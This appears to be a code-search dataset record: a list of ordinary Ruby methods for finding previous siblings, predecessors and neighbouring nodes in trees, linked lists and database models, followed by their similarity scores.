[ "def find_predecessor(id)\n if self == successor\n self\n else\n pred = self\n while !between_left_inclusive(id, pred.nodeid, pred.successor.nodeid) # RPC\n pred = pred.closest_preceding_node(id) # RPC\n end\n pred\n end\n end", "def previous_sibling\n if siblings.where(project_id: project_id).any?\n sibs = self_and_siblings.order(:cached).pluck(:id)\n\n s = sibs.index(id)\n TaxonName.find(sibs[s - 1]) if s != 0\n else\n nil\n end\n end", "def sibling(node_id)\n node_id ^ 1\n end", "def assert_next_sibling(id, expected_sibling_id)\n wait_for(:message => \"id '#{id}' should be next to '#{expected_sibling_id}'\") do\n actual_sibling_id = get_eval(\"this.page().findElement('#{id}').nextSibling.id\")\n expected_sibling_id == actual_sibling_id\n end\n end", "def next_sibling\n if siblings.where(project_id: project_id).any?\n sibs = self_and_siblings.order(:cached).pluck(:id)\n s = sibs.index(id)\n TaxonName.find(sibs[ s + 1] ) if s < sibs.length - 1\n else\n nil\n end\n end", "def sibling(name)\n parent && parent.find(name)\n end", "def prev_sibling\n\t\treturn prev_sibling_of @current_node\n\tend", "def known_sibling_on(local_object, peer_id)\n if local_object.respond_to?(:droby_id)\n if siblings = siblings_by_local_object_id.fetch(local_object.droby_id, nil)\n siblings[peer_id]\n elsif peer_id == local_id\n local_object.droby_id\n end\n end\n end", "def previous_siblings(scope = {})\n self.class.find_in_nested_set(:all, \n { :conditions => [\"#{scope_condition} AND #{sibling_condition} AND #{self.class.table_name}.id != ? AND #{prefixed_right_col_name} < ?\", self.id, self[left_col_name]], :order => \"#{prefixed_left_col_name} DESC\" }, scope)\n end", "def prev_sibling_of(node)\n\t\treturn valid(node) ? node.previous_sibling : nil\n\tend", "def previous_sibling\n return @links[:previous_sibling]\n end", "def previous_sibling\n return nil if parent.nil? # self is root\n return nil if 1 == parent.children.size # self is parent's only child\n if 0 == own_child_index\n return nil # self is first child\n else\n # return previous sibling\n parent.children[own_child_index - 1]\n end\n end", "def siblings\n self_and_siblings.where( table[tree.columns.id].not_eq(id) )\n end", "def siblings\n self_and_siblings.where(arel[:id].not_eq(id))\n end", "def previous_sibling_by_date\n siblings_by_date.where(\"starts_at < ?\", starts_at)&.last\n end", "def add_previous_sibling_and_get(node, html)\n\t\tresult = node.add_previous_sibling(make_node(html, node.document))\n\t\tresult = result[0] if result.is_a?(Array)\n\t\treturn result\n\tend", "def TreeView_GetPrevSibling(hwnd, hitem) TreeView_GetNextItem(hwnd, hitem, TreeViewGetNextItem[:PREVIOUS]) end", "def prev(name = nil)\n elements = self.class.all_siblings(self)\n elements = elements.where(:name => name) if name\n elements.where(\"position < ?\", self.position).order(\"position ASC\").limit(1)\n end", "def previous_element_sibling\n n = self.previous_sibling\n while n do\n if n.node_type == ELEMENT_NODE then\n break\n end\n n = n.previous_sibling\n end\n return n\n end", "def find_prev(*args)\n find(:prev, *args)\n end", "def find_prev(*args)\n find(:prev, *args)\n end", "def predecessor\n siblings.previous(self) || parent\n end", "def left_sibling_id=(id)\n assign_sibling_by_id(id, :left)\n end", "def add_previous_sibling(node_or_tags); end", "def get_prev()\n return @prev_node\n end", "def previous_sibling=(other); end", "def previous\n\t self.class.where(\"id < ?\", id).last\n\tend", "def left_sibling\n siblings.\n where( arel[position_column].lt(self[position_column]) ).\n reorder( arel[position_column].desc ).\n first\n end", "def left_sibling\n list.reverse.first(:position.lt => position)\n end", "def previous(query)\n unless query.nil?\n index = query.find_index(self.id)\n if index\n prev_id = query[index-1] unless index.zero?\n self.class.find_by_id(prev_id)\n end\n end\n end", "def previous\n self.class.where(\"id < ?\", id).where(:punto_venta_id => self.punto_venta_id).last\n end", "def first_sibling_in_list\n self.class.asc(:position).first\n end", "def registered_sibling_on(local_object, peer_id)\n return unless local_object.respond_to?(:droby_id)\n\n siblings =\n siblings_by_local_object_id.fetch(local_object.droby_id, nil)\n siblings[peer_id] if siblings\n end", "def previous_segment\n return nil if sibling_segments.empty?\n index = sibling_segments.sort_by(&:index).index(self)\n if index && index >= 1\n sibling_segments[index - 1]\n else\n nil\n end\n end", "def search_for_ previous_element(_start_element, _style)\n unless _start_element.nil?\n # have we already found what we're looking for?\n if _start_element.name == _style\n return _start_element\n end\n # _start_element is a div.block and not the _start_element itself\n if _start_element[:class] == \"block\" && _start_element[:id] != @start_here[:id]\n # begin recursion with last child inside div.block\n from_child = search_for_ previous_element(_start_element.children.last, _style)\n if(from_child)\n return from_child\n end\n end\n # begin recursion with previous element\n from_child = search_for_ previous_element(_start_element.previous, _style) \n return from_child ? from_child : false\n else\n return false\n end\nend", "def previous_sibling(num = 1, scope = {})\n scope[:limit] = num\n siblings = previous_siblings(scope)\n num == 1 ? siblings.first : siblings\n end", "def previous\n \tWork.first(:conditions => ['id < ?', id], :order => \"id desc\")\n\tend", "def remove_sibling_for(peer, id = nil)\n\t if id && remote_siblings[peer] != id\n\t\treturn\n\t end\n\n\t if remote_object = remote_siblings.delete(peer)\n peer.removed_sibling(remote_object)\n\t\tRoby::Distributed.debug { \"removed sibling #{remote_object} for #{self} on #{peer}\" }\n\t\tremote_object\n\t end\n\tend", "def parent(id)\n if id != @h[id]\n @h[id] = parent(@h[id])\n else\n id\n end\n end", "def sibling_on(peer)\n\t\tif peer.remote_id == self.peer.peer_id then id\n\t\telse raise RemotePeerMismatch, \"no known sibling for #{self} on #{peer}\"\n\t\tend\n\t end", "def left_sibling\n siblings.where(arel_table[snumv_column_name].eq(numv)).\n where(arel_table[sdenv_column_name].eq(denv)).first\n end", "def next_siblings(scope = {})\n self.class.find_in_nested_set(:all, \n { :conditions => [\"#{scope_condition} AND #{sibling_condition} AND #{self.class.table_name}.id != ? AND #{prefixed_left_col_name} > ?\", self.id, self[right_col_name]], :order => \"#{prefixed_left_col_name} ASC\"}, scope)\n end", "def player_search_id(player_id)\n temp_id = self.last_registered_player_id\n while temp_id != player_id && temp_id != -1 && temp_id != nil\n temp_id = Player.find(temp_id).prev_player_id\n end\n if temp_id == player_id\n return Player.find(temp_id)\n end\n return nil\n end", "def prev\n if self[:prev_id]\n Likewise::Link.find_by_id self[:prev_id]\n end\n end", "def siblings\n if not @sibs\n raise \"Prev not set for %s\" % self.line unless self.prev\n @sibs = StorylineLinks.where('from_id = ?', self.prev).select { |n| n.to_id != self.id }\n @sibs_num = @sibs.size\n end\n @sibs\n end", "def find_with_id(id)\n @top_node.search(\"//*[@id='#{id}']\")\n end", "def previous_node\n peer = nil\n if !parent.nil? and parent.respond_to?(:children)\n index = parent.children.index(self)\n peer = index > 0 ? parent.children[index - 1] : nil\n end\n peer\n end", "def find_with_id(id)\n @top_node.search(\"//*[@id='#{id}']\")\n end", "def find_with_id(id)\n @top_node.search(\"//*[@id='#{id}']\")\n end", "def previous_id\n self.class.where('id < ?', self.id).pluck(:id).last\n end", "def previous_post_id(post_id)\n return nil if first_post?(post_id) || !contains?(post_id)\n\n n = post_ids.index(post_id) - 1\n post_ids[n]\n end", "def left_sibling\n siblings.filter(self.class.qualified_left_column < left).order(self.class.qualified_left_column.desc).first\n end", "def prev_node_finder(n_s, i)\n path_line = $dijkstra_result.select{ |line| line =~ /^#{n_s}/}\n path_line_array = []\n if (path_line[0] == nil)\n return\n else\n path_line_array = path_line[0].split(',')\n end\n prev_node = path_line_array[2]\n $path[i].push(prev_node)\n prev_node_finder(prev_node,i)\n #puts \"Previous node of #{n_d} is #{prev_node}\"\nend", "def sibling_on(peer)\n\t remote_siblings.each do |m_peer, remote_id|\n\t\tif m_peer.peer_id == peer.remote_id\n\t\t return remote_id\n\t\tend\n\t end\n\t raise RemotePeerMismatch, \"#{self} has no known sibling on #{peer}\"\n\tend", "def next_sibling_by_date\n siblings_by_date.where(\"starts_at >= ?\", starts_at)&.first\n end", "def find_next_and_prev(*args)\n return find(:next, *args), find(:prev, *args)\n end", "def previous\n self.class.last(\n :conditions => {\n :user_id => self.user_id,\n :id_lt => self.id})\n end", "def left_sibling\n base_class.first scoped(parent_column_name => _parent_id, left_column_name => { '$lt' => left }, :order => \"#{left_column_name} DESC\")\n end", "def siblings\n tree_search_class.where({\n :_id => { \"$ne\" => self._id },\n tree_parent_id_field => self[tree_parent_id_field]\n }).sort(self.class.tree_sort_order()).all\n end", "def prev_element\n\t\treturn prev_element_of @current_node\n\tend", "def find_before(value)\n node = @head\n return node if !node.next\n return node if node.next.data == value\n\n while (node = node.next)\n return node if node.next && node.next.data == value\n end\n end", "def move_lower\n next_sib = next_sibling\n move_to_right_of(next_sib) if next_sib\n end", "def test_previous_sibling\n setup_test_tree\n\n assert_nil(@root.previous_sibling, \"Root does not have any previous sibling\")\n assert_nil(@child1.previous_sibling, \"Child1 does not have previous sibling\")\n assert_equal(@child1, @child2.previous_sibling, \"Child2's previous sibling is Child1\")\n assert_equal(@child2, @child3.previous_sibling, \"Child3's previous sibling is Child2\")\n assert_nil(@child4.previous_sibling, \"Child4 does not have a previous sibling\")\n end", "def first_sibling\n node = self\n while node.previous_sibling\n node = node.previous_sibling\n end\n return node\n end", "def prev_element_of(node)\n\t\treturn valid(node) ? node.previous_element : nil\n\tend", "def get_previous_node(item)\n raise ArgumentError, 'Previous node does not exist' if @length < 2\n\n previous_node = @front_node\n\n until previous_node.next_node.nil? || previous_node.next_node.item == item\n previous_node = previous_node.next_node\n end\n\n unless previous_node.next_node.item == item\n raise ArgumentError, 'Item is not present'\n end\n\n previous_node\n end", "def sibling; end", "def find_previous(xml, leaf_name, order)\n order.reduce(nil) do |res, curr_name|\n break res if curr_name == leaf_name\n xml.at(curr_name.include?(':') ? \"./#{curr_name}\" : \"./xmlns:#{curr_name}\") || res\n end\n end", "def last_sibling_in_list\n self.class.asc(:position).last\n end", "def right_sibling\n siblings.\n where( arel[position_column].gt(self[position_column]) ).\n reorder( arel[position_column].asc ).\n first\n end", "def previous_element; end", "def self_and_siblings\n scope.where( tree.columns.parent => parent_id ).preorder\n end", "def previous\n DOM::Element.from_node `#{@el}.previousElementSibling || Opal.nil`\n end", "def sibling_accounts\n Sfaccount.find(:all, :conditions => [\"parent_id = ?\",id])\n end", "def is_sibling_of?(other)\n (other != self) and (other[tree_parent_id_field] == self[tree_parent_id_field])\n end", "def prev(object)\n return nil if elements.index(object) == 0\n elements[elements.index(object) - 1]\n end", "def left_sibling\n higher_items.last\n end", "def prev\n unless self.tll_prev.nil?\n return self.class.unscoped.where(_id: self.tll_prev).first\n end\n\n nil\n end", "def predecessor\n Algorithm.where(next: self).first\n end", "def next_sibling\n\t\treturn next_sibling_of @current_node\n\tend", "def previous\r\n\r\n BgWorker.first(:order => 'bg_workers.id DESC', :conditions => [\"bg_workers.id < ?\", self.id])\r\n end", "def find(id)\n sort() unless @sorted\n @tree.bsearch { |x| x.id == id }\n end", "def siblings?(node_id, other_node_id)\n node_id ^ other_node_id == 1\n end", "def next_sibling\n return @links[:next_sibling]\n end", "def get_sibling(vector)\n conditions = get_siblings_conditions(vector)\n\n self.class.position_scope(scope_value)\n .where(conditions.first)\n .order(conditions.last)\n .limit(1).first\n end", "def previous_id\n self.class.where(\"id < ? and quiz_id = ?\", self.id, self.quiz_id).pluck(:id).last\n end", "def find_my_siblings\n \tBrlevel.where(level: self.level, locale: I18n.locale).where.not(id: self.id).select(:id, :level) \n end", "def find(id)\n each_descendant(false).detect {|op| op.id == id}\n end", "def prev_id=(id)\n self[:prev_id] = id\n end", "def find_prev_in(parent, index)\n while index >= 0\n c = parent.blocks[index]\n if c.context == :section\n return c if c.level == @chunk_level\n\n parent = c\n index = c.blocks.length\n end\n index -= 1\n end\n # index was for the first section in the parent so the previous page\n # *is* the parent.\n parent\n end", "def lower_siblings\n self.class.where(:position.gt => self.position)\n end", "def previous\n @previous ||= Changeset.where([\"id < ? AND repository_id = ?\", id, repository_id]).order('id DESC').first\n end", "def paste_predecessor\n @obj = Node.find(params[:id])\n node = Basket.basket.first_child\n\n if node\n @obj.insert_predecessor(node)\n @obj = node\n end\n\n render 'show'\n end", "def previous\r\n\r\n SmartQuery.first(:order => 'smart_queries.id DESC', :conditions => [\"smart_queries.id < ?\", self.id])\r\n end", "def previous\n if id == Photo.first.id\n Photo.first\n else\n Photo.where(\"id < ?\", id).last\n end\n end", "def previous_post\n self.class.first(:conditions => [\"id < ?\", id], :order => \"id desc\")\n end", "def siblings(*args)\n self.class.send(:with_scope, :find=>{:conditions=>['parent_node_id=? OR child_node_id=?', self.parent_node_id, self.child_node_id]}) do\n self.class.find(:all, *args) - [self]\n end\n end", "def previous\r\n\r\n Customer.first(:order => 'customers.id DESC', :conditions => [\"customers.id < ?\", self.id])\r\n end", "def next_sibling\n # Raise error in case we are root\n raise RationalNumberIsRootNoSiblingsError if root?\n\n _parent = self.parent # Get parent already to avoid duplicate calculations\n _position = ((@nv - _parent.nv) / _parent.snv) + 1\n value_from_parent_and_position(_parent, _position)\n end", "def previous\n\t first? ? nil : locate - 1\n\tend" ]
[ "0.75249445", "0.7476051", "0.6834634", "0.67705387", "0.67394024", "0.6711154", "0.65623933", "0.6555641", "0.65186775", "0.6513286", "0.64798373", "0.6459687", "0.6414648", "0.6414098", "0.6389276", "0.63885975", "0.63619107", "0.6347757", "0.6339316", "0.6289689", "0.6289689", "0.6271586", "0.61515176", "0.6141128", "0.6117994", "0.61163265", "0.6115818", "0.60986036", "0.6074209", "0.6069122", "0.60460603", "0.60346895", "0.60292965", "0.6024174", "0.6020419", "0.6006859", "0.59835297", "0.59514564", "0.59099317", "0.59068006", "0.59039354", "0.58974695", "0.5872347", "0.5830998", "0.58038664", "0.5788567", "0.57854533", "0.5771826", "0.5771826", "0.5762431", "0.57451224", "0.5715574", "0.570926", "0.5686812", "0.5677393", "0.5669871", "0.566915", "0.56521857", "0.56429994", "0.5639914", "0.5619542", "0.56150436", "0.56135935", "0.56105626", "0.5608729", "0.5608268", "0.55945617", "0.5589129", "0.55852747", "0.55725646", "0.55682445", "0.5562373", "0.55492175", "0.55312896", "0.55287033", "0.5516521", "0.5514179", "0.55029154", "0.5502476", "0.54984325", "0.54863214", "0.54855907", "0.5484818", "0.54845035", "0.5483925", "0.54839236", "0.5477858", "0.5476137", "0.54747343", "0.5470252", "0.5465562", "0.5462675", "0.54604787", "0.5457206", "0.5455182", "0.5436346", "0.5434676", "0.543357", "0.5431841", "0.5428688" ]
0.6619917
6
This searches for the "nearest" view with a given id. First, all child views are checked. Then the search goes up to the parent view, and its child views are checked. This means any view that is in the parent view's hierarchy is considered closer than a view in a grandparent's hierarchy. This is a "depthfirst" search, so any subview that contains a view with the element id ABCD Starting at D, E is closer than F, because D&E are siblings. \ \ \E But F, G and H are closer than A or I, because they share a \ \FG closer parent (B). The logic is, "B" is a container, and \I \H all views in that container are in a closer family.
def nearest(element_id) nearest(element_id, from: target) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def find(id)\n sort() unless @sorted\n @tree.bsearch { |x| x.id == id }\n end", "def find(id)\n each_descendant(false).detect {|op| op.id == id}\n end", "def closest_parent(type, this_view = nil)\n this_view ||= view_or_self.superview\n while this_view != nil do\n return this_view if this_view.is_a? type\n this_view = this_view.superview\n end\n nil\n end", "def child(id)\n\t\t\t@log.debug(\"id #{id} is frozen?: #{id.frozen?}\")\n\t\t\t\n\t\t\tcase id\n\t\t\twhen String\n\t\t\t\t# Allow the user to use an underscore to specify an \n\t\t\t\t# ampersand for the control name.\n\t\t\t\tby_title = find_window_ex @handle, 0, nil, id.gsub('_', '&')\n\t\t\t\tby_class = find_window_ex @handle, 0, id, nil\n\t\t\t\tif (by_title == 0 && by_class == 0)\n\t\t\t\t\t@log.debug(\"Did not find by title or class, recursing children\")\n\t\t\t\t\t# @children = ChildRecurser.find_all_children(handle) if (@children == nil)\n\t\t\t\t\t# result = search_children(id)\n\t\t\t\t\tresult = ChildEnumerator.find_child(handle, id)\n\t\t\t\t\t@log.debug(\"Found child #{result} for id #{id}\") if (result > 0)\n\t\t\t\telse\n\t\t\t\t\tresult = (by_title > 0) ? by_title : by_class\n\t\t\t\tend\n\t\t\twhen Fixnum\n\t\t\t\tresult = get_dlg_item @handle, id\n\t\t\telse\n\t\t\t\tresult = 0\n\t\t\tend\n\t\n\t\t\traise \"Control '#{id}' not found\" if result == 0\n\t\t\tWindow.new result\n\t\tend", "def get_closest_node(id, num = 1)\n @link_table.closest_peers(id, num)\n end", "def return_content_by_id(id)\n current = nil\n stack = Stack.new\n stack.push(@root)\n until stack.empty?\n current = stack.pop\n return current if current.id.eql?(id)\n unless current.childs.size.zero?\n current.childs.reverse_each { |child| stack.push(child) }\n end\n end\n end", "def find_object_from_link(parent_object, id)\n find_object(parent_object, id)\n end", "def find_with_id(id)\n @top_node.search(\"//*[@id='#{id}']\")\n end", "def find_with_id(id)\n @top_node.search(\"//*[@id='#{id}']\")\n end", "def find_by_id(id)\n children.find { |child| child[:tab_id] == id }\n end", "def direct_child_by_id(id, scope = {})\n direct_children_by_id(id, scope).first\n end", "def find_with_id(id)\n @top_node.search(\"//*[@id='#{id}']\")\n end", "def find(id)\n node = @nodes[id]\n return node if node\n\n addr = Directory[id]\n return unless addr\n\n if id == DCell.id\n node = DCell.me\n else\n node = Node.new(id, addr)\n end\n\n @nodes[id] ||= node\n @nodes[id]\n end", "def find_nearest_node(key) #:nodoc:\n x = anchor\n level = node_level(x)\n while level > 0\n level -= 1\n xnext = node_next(x, level)\n while node_compare(xnext, key) <= 0\n x = xnext\n xnext = node_next(x, level)\n end\n end\n x\n end", "def find_child( window_handle, id, search_class = true )\n\n\t\t\tmatching_child = 0\n\n\t\t\t@log.debug(\"Searching for child #{id} in children of handle #{window_handle}\")\n\n\t\t\tenum_proc = Win32::API::Callback.new('L', 'I'){ |winHandle|\n\t\t\t\t@log.debug(\"Child #{winHandle}\")\n\n\t\t\t\tclass_name = ''\n\t\t\t\t# Look for a match on the text or class of the \n\t\t\t\t# child control.\n\t\t\t\tbuffer = \"\\0\" * 1024\n\n\t\t\t\t# length = get_window_text(winHandle, buffer, buffer.length)\n\t\t\t\t\n\t\t\t\tlength = send_with_buffer(winHandle, WM_GETTEXT, buffer.length, buffer)\n\t\t\t\ttext = (length == 0) ? '' : buffer[0..length -1]\n\n\t\t\t\t\n\t\t\t\tif (id.gsub('_', '&').downcase == text.downcase)\n\t\t\t\t\t# The control text matches\n\t\t\t\t\t@log.debug(\" MATCHED on text: #{text}\")\n\t\t\t\t\tmatching_child = winHandle\n\t\t\t\telsif (search_class)\n\t\t\t\t\tbuffer = \"\\0\" * 1024\n\t\t\t\t\tlength = get_class_name winHandle, buffer, buffer.length\n\t\t\t\t\tclass_name = (length == 0) ? '' : buffer[0..length -1]\n\t\t\t\t\t\n\t\t\t\t\tif (id == class_name)\n\t\t\t\t\t\t@log.debug(\" MATCHED on class: #{class_name}\")\n\t\t\t\t\t\t# The control class matches\n\t\t\t\t\t\tmatching_child = winHandle\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t@log.debug(\" No match, text: #{text}, class: #{class_name}\") if (matching_child == 0)\n\t\t\t\t\n\t\t\t\t(matching_child == 0)\n\t\t\t}\n\t\t\t\n\t\t\t@@EnumChildWindows.call(window_handle, enum_proc, nil)\n\t\t\t@log.debug(\"Enumeration complete, matching_child=#{matching_child}\")\n\n\t\t\tmatching_child\n\t\tend", "def find_nearest_place_id max_dist\n\t#byebug\n\tphot=self.class.find(@id) #returns instance of photo\n\tphot_loc=phot.location #gets location from photo (point where photo was taken)\n\tphot_place=Place.near(phot_loc,max_dist).projection(:_id=>1).first #find closest place to point\n\tphot_place.nil? ? nil : phot_place[:_id] #return the id of the closest place to that point\nend", "def find_nearest_parent(target_class)\n columns = ['id', 'parent_id', 'construct_id', 'construct_type']\n columns_joined = columns.join(',')\n sql =\n <<-SQL\n WITH RECURSIVE control_constructs_tree (#{columns_joined}, level)\n AS (\n SELECT\n #{columns_joined},\n 0\n FROM control_constructs\n WHERE construct_id = #{id}\n AND construct_type = '#{self.class.name}'\n\n UNION ALL\n SELECT\n #{columns.map { |col| 'cat.' + col }.join(',')},\n ct.level + 1\n FROM control_constructs cat, control_constructs_tree ct\n WHERE cat.id = ct.parent_id\n )\n SELECT #{target_class.table_name}.*\n FROM control_constructs_tree\n INNER JOIN #{target_class.table_name} ON #{target_class.table_name}.id = control_constructs_tree.construct_id\n WHERE level > 0\n AND construct_type = '#{target_class.name}'\n ORDER BY level, control_constructs_tree.id, construct_id, construct_type\n LIMIT 1;\n SQL\n target_class.find_by_sql(sql.chomp).first\n end", "def closest(object)\n\t\treturn nil if empty? # edgecase\n\t\tfirst_index(object)[1]\n\tend", "def child_by_id(id, scope = {})\n children_by_id(id, scope).first\n end", "def find_place_by_target_id(transition_id)\n _places = find_all_places_by_target_id(transition_id)\n\n # the result shouldn't be ambiguous\n if _places.size > 1\n raise AmbiguousNetQueryResult.new(__method__, name, _places)\n end\n\n return _places.first\n end", "def find(obj)\n return nil if empty?\n\n root = @root\n while root\n return root if obj == root.obj\n\n if obj < root.obj\n root = root.left\n else\n root = root.right\n end\n end\n end", "def find_nearest_node(key) #:nodoc:\n x = node_first\n level = node_level(x)\n while level > 0\n level -= 1\n xnext = node_next(x, level)\n while node_compare(xnext, key) <= 0\n x = xnext\n xnext = node_next(x, level)\n end\n end\n x\n end", "def minimum_tree_for_leafs(ids)\n # 1. Find all ids in leafs id_path\n # 2. Fetch those ids by tree depth order.\n id_in = ids.join(',')\n leafs = self.find(:all, :conditions => \"id in (#{id_in})\")\n id_paths = leafs.collect{ |l| l.id_path }\n id_in_paths = id_paths.join(',')\n self.find(:all, :conditions => \"id in (#{id_in_paths})\", :order => \"id_path asc\")\n end", "def closest(*working_selectors)\n normalize_selectors(working_selectors)\n\n filter do |view|\n closest_view(view, working_selectors)\n end\n end", "def closest_ant_view l, ai \n\tants = ai.my_ants \n\n\tcur_best = nil\n\tcur_dist = nil\n\n\tants.each do |ant|\n\t\td = Distance.get ant, l\n\t\tdist = d.dist\n\n\t\tif !cur_dist || dist < cur_dist\n\t\t\tcur_dist = dist\n\t\t\tcur_best = ant\n\t\tend\n\tend\n\n\tcur_best\nend", "def find_node(vrt_id:, preferred_version: nil, max_depth: 'variant', version: nil) # rubocop:disable Lint/UnusedMethodArgument\n new_version = preferred_version || current_version\n if get_map(version: new_version).valid?(vrt_id)\n get_map(version: new_version).find_node(vrt_id, max_depth: max_depth)\n elsif deprecated_node?(vrt_id)\n find_deprecated_node(vrt_id, preferred_version, max_depth)\n else\n find_valid_parent_node(vrt_id, new_version, max_depth)\n end\n end", "def parent(id)\n if id != @h[id]\n @h[id] = parent(@h[id])\n else\n id\n end\n end", "def findClosestValHelper(tree,target,closest)\n return closest if tree.nil?\n if (target-closest).abs > (target-tree.value).abs\n closest = tree.value\n end\n if target < tree.value\n return findClosestValHelper(tree.left,target,closest)\n elsif target > tree.value\n return findClosestValHelper(tree.right,target,closest)\n else\n return closest\n end\nend", "def node_by_id(id)\r\n @nodes.each do |n|\r\n return n if n.attributes['id'] == id \r\n end\r\n end", "def find_parent_by\n self.class.find_parent_by || :id\n end", "def rclosest(object)\n\t\treturn nil if empty? # edgecase\n\t\tlast_index(object)[1]\n\tend", "def find_nearest(key)\n node_value(find_nearest_node(key))\n end", "def find_nearest(key)\n node_value(find_nearest_node(key))\n end", "def bst_search(tree, node)\n locator = tree\n parent = nil\n found = false\n while( !found && locator)\n if node.data < locator.node.data\n # descend left\n parent = locator\n locator = locator.left_child\n elsif node.data > locator.node.data\n # descend right\n parent = locator\n locator = locator.right_child\n else\n found = true\n end\n end\n return found, locator, parent\n end", "def find_widget(widget_id)\n find {|node| node.name.to_s == widget_id.to_s}\n end", "def find_place(id)\n places.find {|place| place.id == id}\n end", "def all_views(element_id)\n element = all(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def find_vert(id)\n vertices.each do |v|\n return v if v.id == id\n end\n nil\n end", "def find_my_step_form_on_tree(flow = self, step_id)\n found_step = nil\n flow.my_steps.each do |step|\n found_step = step if step.id == step_id.to_i\n found_step = find_my_step_form_on_tree(step.my_child_flow, step_id) if step.step_type == 'flow'\n return found_step if found_step.present?\n end\n found_step if found_step.present?\n end", "def click_button_with_id(id, opts = {})\r\n\t if opts && opts[:index] && opts[:index].to_i() > 0\r\n\t\t\t\t\telements = find_elements(:id, id)\r\n\t\t\t\t\tthe_index = opts[:index].to_i() - 1 \r\n first_match = elements[the_index]\r\n focus_on_element(first_match)\r\n first_match.click\r\n\t\t\t\telse\r\n\t\t\t\t focus_on_element(find_element(:id, id))\r\n\t find_element(:id, id).click\r\n end\r\n\t\t\r\n end", "def find_nearest_route(path)\n\t\t\tpath_parts = path.parts.dup\n\t\t\tloop do\n\t\t\t\troute = routes.navigate(*path_parts)&.first_route\n\t\t\t\tbreak route if route || path_parts.pop.nil?\n\t\t\tend\n\t\tend", "def find_place_by_source_id(transition_id)\n _places = find_all_places_by_source_id(transition_id)\n\n # the result shouldn't be ambiguous\n if _places.size > 1\n raise AmbiguousNetQueryResult.new(__method__, name, _places)\n end\n\n return _places.first\n end", "def find_parent(cidr,parent)\n version = cidr.version\n\n parent.children.each do |entry|\n if (entry.cidr.version == version && entry.cidr.contains?(cidr))\n parent = entry\n\n if (parent.children.length > 0)\n search_results = find_parent(cidr,parent)\n parent = search_results if (search_results)\n end\n break\n end\n end\n\n return(parent)\n end", "def nearest_mine\n src = @pos\n shortest_dst = 63\n nearest = [0,0]\n unowned_mines = @game.mines_locs.reject { |pos, hero_id| hero_id == @hero_id }\n unowned_mines.each do |pos, hero_id|\n build_branching_paths(src, pos)\n path = find_path(pos)\n if path.length < shortest_dst\n shortest_dst = path.length\n nearest = pos\n end\n end\n nearest\n end", "def find_by_id(id)\n results = one.find_by_id_ne(id)\n results && !results['id'].blank? && new(results) || nil\n end", "def find(target_value)\n current = self.root\n while current do\n if current.value == target_value\n return current\n elsif current.value > target_value\n current = current.left\n else\n current = current.right\n end\n end\n return nil\n end", "def get_view_for_viewid(view_id)\n\tp view_id\n\thttp = create_http\n\trequest = create_request(\"/rest/greenhopper/1.0/rapidviews/list\")\n\tresponse = http.request(request)\n\tviews = JSON.parse(response.body)['views']\n\tviews.each do |view|\n\t\tp view\n\t\tif view['id'] == view_id\n\t\t\treturn view\n\t\tend\n\tend\nend", "def closest_element(root, key)\n raise \"Please enter a tree with at least one node\" if root.nil?\n\n closest_node, min_diff = root, (key - root.value).abs\n\n find_closest = lambda do |node|\n return unless node\n if (key - node.value).abs < min_diff\n closest_node, min_diff = node, (key - node.value).abs\n end\n\n if key == node.value\n closest_node, min_diff = node, (key - node.value).abs\n return\n end\n\n if node.value < key\n find_closest.call(node.right)\n else\n find_closest.call(node.left)\n end\n end\n\n find_closest.call(root)\n\n closest_node.value\nend", "def get_position_of_id(target_id, ary)\n ary.each_index do |i|\n current_id = ary[i][0]\n if current_id == target_id\n return ary[i][1]\n end\n end\n end", "def get_clockwise_neighbor(id_1, id_2)\n return id_1 if @vertices[id_1].y > @vertices[id_2].y\n return id_1 if @vertices[id_1].x < @vertices[id_2].x\n return id_2\n end", "def with_ancestors(id)\n ids = Set.new\n while node = nodes_by_id[id]\n ids.add(node.id)\n id = node.parent_id\n end\n ids\n end", "def find_predecessor(id)\n if self == successor\n self\n else\n pred = self\n while !between_left_inclusive(id, pred.nodeid, pred.successor.nodeid) # RPC\n pred = pred.closest_preceding_node(id) # RPC\n end\n pred\n end\n end", "def parent_correct?(id,parent)\n p __method__ if @debug == true\n\n # get the suggested pathname .. using the pathname library here.\n path = Pathname.new(id).dirname\n\n # get the parent ci from the rest interface\n xml = RestClient.get \"#{@base_url}/ci/#{path}\", {:accept => :xml, :content_type => :xml}\n\n # get the parent type from the xml\n parenttype = XmlSimple.xml_in(xml,{'KeepRoot' => true}).keys.to_s\n # check if the actual parenttype is among the valid ones\n return true if parent.include? parenttype\n\n return false\n end", "def parent?(id)\n self.parent_id == id\n end", "def find(id)\n self.detect{|x| x.id == id.to_i}\n end", "def find_object(parent_object, id)\n raise NotImplementedError, \"#{self.class} must implement method: #{__callee__}\"\n end", "def find_by_id(id)\n models.each do |model|\n el = model.find_by_id(id)\n return el if el\n end\n nil\n end", "def get(id)\n # @notes = sort_by(@options[:sort_by])\n @notes = sort(@notes)\n parent, child = id\n return child ? @notes[parent].childs[child] : @notes[parent]\n end", "def get_node_by_id(id, options={})\n options[:exactget] ||= {}\n options[:exactget][:id] = id.to_s\n ret = get_nodes(options)\n if ret.empty?\n warn \"Cannot find node #{name}\"\n ret = nil\n elsif ret.values.size == 1\n ret = ret.values[0]\n else\n raise \"Multiple nodes returned for #{name}\"\n end\n ret\n end", "def index_of_child child\n found = nil\n node_id = child.node_id\n each_with_index do |child, idx|\n next unless child.respond_to?(:node_id)\n if child.node_id == node_id\n found = idx\n break\n end\n end\n if ! found\n fail(\"no child of mine: (##{child.node_id} is not in #{node_id}\")\n end\n found\n end", "def find(id)\n return nil if id.blank?\n path = build_association_path -> { \"#{@parent.request_path(@params)}#{@opts[:path]}/#{id}\" }\n @klass.get_resource(path, @params)\n end", "def find(el)\n BinarySearchTree.find!(@root, el)\n end", "def index_of_next_closest(q, from = 0)\n index_of_closest(1, q, from)\n end", "def pick_best_node_for_read_id(sequence_id, nodes)\n best_node = nodes.min do |n1, n2|\n r1 = n1.short_reads.find{|r| r.read_id == sequence_id}\n r2 = n2.short_reads.find{|r| r.read_id == sequence_id}\n r1.start_coord <=> r2.start_coord\n end\n if best_node\n best_noded_read = best_node.short_reads.find{|r| r.read_id == sequence_id}\n [best_node, best_noded_read.direction, best_noded_read]\n else\n []\n end\n end", "def familias_tree(id)\n @familias = Familia.find_by_sql(\"select * from menufamilias \") #menu de búsqueda\n @id=id\n \n @ruta=(@familias.select {|f| 